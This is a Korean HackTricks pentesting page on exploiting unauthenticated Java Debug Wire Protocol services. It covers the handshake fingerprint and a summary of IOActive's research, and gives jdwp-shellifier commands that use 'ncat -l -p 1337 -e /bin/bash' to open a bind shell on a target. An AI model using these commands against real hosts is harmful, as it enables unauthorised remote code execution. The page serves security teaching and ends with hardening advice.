mirror of
https://github.com/carlospolop/hacktricks
synced 2024-11-23 05:03:35 +00:00
86 lines
6.6 KiB
Markdown
86 lines
6.6 KiB
Markdown
# JDWP - 자바 디버그 와이어 프로토콜의 Pentesting
|
|
|
|
<details>
|
|
|
|
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong>를 통해 AWS 해킹을 처음부터 전문가까지 배워보세요<strong>!</strong></summary>
|
|
|
|
HackTricks를 지원하는 다른 방법:
|
|
|
|
* **회사를 HackTricks에서 광고하거나 HackTricks를 PDF로 다운로드**하려면 [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
|
* [**공식 PEASS & HackTricks 스웨그**](https://peass.creator-spring.com)를 얻으세요.
|
|
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요. 독점적인 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션입니다.
|
|
* 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **참여**하거나 **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**를** **팔로우**하세요.
|
|
* **HackTricks**와 **HackTricks Cloud** github 저장소에 PR을 제출하여 **해킹 트릭을 공유**하세요.
|
|
|
|
</details>
|
|
|
|
## Exploiting
|
|
|
|
JDWP의 취약점은 **인증 및 암호화의 부재**에 기인합니다. 일반적으로 **포트 8000**에서 찾을 수 있지만 다른 포트도 가능합니다. 초기 연결은 대상 포트로 "JDWP-Handshake"를 보내어 수행됩니다. JDWP 서비스가 활성화되어 있다면, 동일한 문자열로 응답하여 존재를 확인합니다. 이 핸드셰이크는 네트워크 상의 JDWP 서비스를 식별하기 위한 지문 인식 방법으로 작동합니다.
|
|
|
|
프로세스 식별 측면에서, Java 프로세스에서 "jdwk" 문자열을 검색하면 활성 JDWP 세션을 나타낼 수 있습니다.
|
|
|
|
기본 도구는 [jdwp-shellifier](https://github.com/hugsy/jdwp-shellifier)입니다. 다양한 매개변수와 함께 사용할 수 있습니다:
|
|
```bash
|
|
./jdwp-shellifier.py -t 192.168.2.9 -p 8000 #Obtain internal data
|
|
./jdwp-shellifier.py -t 192.168.2.9 -p 8000 --cmd 'ncat -l -p 1337 -e /bin/bash' #Exec something
|
|
./jdwp-shellifier.py -t 192.168.2.9 -p 8000 --break-on 'java.lang.String.indexOf' --cmd 'ncat -l -p 1337 -e /bin/bash' #Uses java.lang.String.indexOf as breakpoint instead of java.net.ServerSocket.accept
|
|
```
|
|
`--break-on 'java.lang.String.indexOf'`를 사용하면 공격이 더 **안정적**이라는 것을 발견했습니다. 그리고 호스트에 백도어를 업로드하고 명령을 실행하는 대신에 백도어를 실행한다면 공격은 더욱 안정적일 것입니다.
|
|
|
|
## 자세한 내용
|
|
|
|
**이것은 [https://ioactive.com/hacking-java-debug-wire-protocol-or-how/](https://ioactive.com/hacking-java-debug-wire-protocol-or-how/)의 요약입니다.** 자세한 내용은 해당 링크를 확인하십시오.
|
|
|
|
|
|
1. **JDWP 개요**:
|
|
- 주로 동기식인 패킷 기반 네트워크 이진 프로토콜입니다.
|
|
- 인증 및 암호화 기능이 없어 적대적인 네트워크에 노출될 경우 취약합니다.
|
|
|
|
2. **JDWP 핸드셰이크**:
|
|
- 간단한 핸드셰이크 프로세스를 사용하여 통신을 초기화합니다. 디버거(클라이언트)와 디버기(서버) 간에 14자리 ASCII 문자열 "JDWP-Handshake"가 교환됩니다.
|
|
|
|
3. **JDWP 통신**:
|
|
- 메시지는 길이, ID, 플래그 및 명령 집합과 같은 필드를 포함한 간단한 구조를 가지고 있습니다.
|
|
- 명령 집합 값은 0x40에서 0x80까지이며 다양한 작업 및 이벤트를 나타냅니다.
|
|
|
|
4. **Exploitation**:
|
|
- JDWP는 임의의 클래스와 바이트코드를 로드하고 호출할 수 있으므로 보안 위험이 있습니다.
|
|
- 이 문서에서는 Java Runtime 참조를 가져오고 중단점을 설정하고 메서드를 호출하는 5단계의 공격 과정을 설명합니다.
|
|
|
|
5. **실제 공격 사례**:
|
|
- 잠재적인 방화벽 보호에도 불구하고, ShodanHQ 및 GitHub과 같은 플랫폼에서 검색 결과를 통해 실제 시나리오에서 JDWP 서비스를 발견하고 공격할 수 있습니다.
|
|
- 이 공격 스크립트는 다양한 JDK 버전에서 테스트되었으며 플랫폼에 독립적이며 신뢰할 수 있는 원격 코드 실행(RCE)을 제공합니다.
|
|
|
|
6. **보안 영향**:
|
|
- 인터넷에서 열린 JDWP 서비스의 존재는 정기적인 보안 검토, 운영 환경에서 디버그 기능 비활성화 및 적절한 방화벽 구성의 필요성을 강조합니다.
|
|
|
|
|
|
### **참고 자료:**
|
|
|
|
* [[https://ioactive.com/hacking-java-debug-wire-protocol-or-how/](https://ioactive.com/hacking-java-debug-wire-protocol-or-how/)]
|
|
* [https://github.com/IOActive/jdwp-shellifier](https://github.com/IOActive/jdwp-shellifier)
|
|
* [http://docs.oracle.com/javase/7/docs/technotes/guides/jpda/architecture.html](http://docs.oracle.com/javase/7/docs/technotes/guides/jpda/architecture.html)
|
|
* http://www.secdev.org/projects/scapy(no longer active)
|
|
* [http://www.shodanhq.com/search?q=JDWP-HANDSHAKE](http://www.shodanhq.com/search?q=JDWP-HANDSHAKE)
|
|
* http://www.hsc-news.com/archives/2013/000109.html (no longer active)
|
|
* [http://packetstormsecurity.com/files/download/122525/JDWP-exploitation.txt](http://packetstormsecurity.com/files/download/122525/JDWP-exploitation.txt)
|
|
* https://github.com/search?q=-Xdebug+-Xrunjdwp\&type=Code\&ref=searchresults
|
|
* [http://docs.oracle.com/javase/6/docs/api/java/lang/Runtime.html](http://docs.oracle.com/javase/6/docs/api/java/lang/Runtime.html)
|
|
* [http://docs.oracle.com/javase/1.5.0/docs/guide/jpda/jdwp-spec.html](http://docs.oracle.com)
|
|
* [http://docs.oracle.com/javase/1.5.0/docs/guide/jpda/jdwp/jdwp-protocol.html](http://docs.oracle.com/javase/1.5.0/docs/guide/jpda/jdwp/jdwp-protocol.html)
|
|
* [http://nmap.org/nsedoc/scripts/jdwp-exec.html](http://nmap.org/nsedoc/scripts/jdwp-exec.html)
|
|
|
|
<details>
|
|
|
|
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong>를 통해 AWS 해킹을 처음부터 전문가까지 배워보세요!</summary>
|
|
|
|
HackTricks를 지원하는 다른 방법:
|
|
|
|
* **회사를 HackTricks에서 광고하거나 HackTricks를 PDF로 다운로드**하려면 [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
|
* [**공식 PEASS & HackTricks 스웨그**](https://peass.creator-spring.com)를 얻으세요.
|
|
* 독점적인 [**NFTs**](https://opensea.io/collection/the-peass-family)인 [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요.
|
|
* 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **참여**하거나 **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)를 **팔로우**하세요.
|
|
* **HackTricks**와 **HackTricks Cloud** github 저장소에 PR을 제출하여 **자신의 해킹 기법을 공유**하세요.
|
|
|
|
</details>
|